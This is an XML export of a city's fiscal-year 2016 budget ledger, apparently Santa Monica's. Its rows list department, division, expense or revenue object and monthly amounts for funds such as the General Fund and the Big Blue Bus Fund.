<row _id="22122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="22123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4500</total></row>
<row _id="22124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-1300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1300</total></row>
<row _id="22125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-35242</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-35242</total></row>
<row _id="22126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-34717</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34717</total></row>
<row _id="22127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409021.0</object><object_description>ENRICHMENT-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-154000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-154000</total></row>
<row _id="22128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-54613</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-54613</total></row>
<row _id="22129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-19650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19650</total></row>
<row _id="22130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-13950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13950</total></row>
<row _id="22131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4740</total></row>
<row _id="22132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1530</total></row>
<row _id="22133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>250000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>250000</total></row>
<row _id="22134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409360.0</object><object_description>DEVELOPER TDM PLAN FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-13454</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13454</total></row>
<row _id="22135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8142</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8142</total></row>
<row _id="22136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>568</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>568</total></row>
<row _id="22137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>84</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>84</total></row>
<row _id="22138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566660.0</object><object_description>3400-3500 AIRPORT AVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>630349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>630349</total></row>
<row _id="22139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544510.0</object><object_description>HSGP VILLAGE TRAILER PARK DA</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>72796</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72796</total></row>
<row _id="22140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569400.0</object><object_description>JACARANDA MUSIC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579964.0</object><object_description>BBB-GEN FUND REIMB-HR</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-91979</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-91979</total></row>
<row _id="22142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>409250.0</object><object_description>VERIZON STORE LICENSE AGREEMNT</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1020</total></row>
<row _id="22143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579962.0</object><object_description>BBB-GEN FUND REIMB-ISD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>450752</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>450752</total></row>
<row _id="22144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-417</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-417</total></row>
<row _id="22145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16808</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16808</total></row>
<row _id="22146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-30298</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30298</total></row>
<row _id="22147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18567</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18567</total></row>
<row _id="22148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38660</total></row>
<row _id="22149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13400</total></row>
<row _id="22150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2058</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2058</total></row>
<row _id="22151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11220</total></row>
<row _id="22152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>295190</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>295190</total></row>
<row _id="22153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9800</total></row>
<row _id="22154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2436</total></row>
<row _id="22155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17500</total></row>
<row _id="22156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>97000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>97000</total></row>
<row _id="22157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1923</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1923</total></row>
<row _id="22158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10384</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10384</total></row>
<row _id="22159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1558</total></row>
<row _id="22160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13394</total></row>
<row _id="22161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7112</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7112</total></row>
<row _id="22162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10384</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10384</total></row>
<row _id="22163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5296</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5296</total></row>
<row _id="22164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20896</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20896</total></row>
<row _id="22165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2181</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2181</total></row>
<row _id="22166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="22167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="22168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>58998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>58998</total></row>
<row _id="22169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17108</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17108</total></row>
<row _id="22170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2550</total></row>
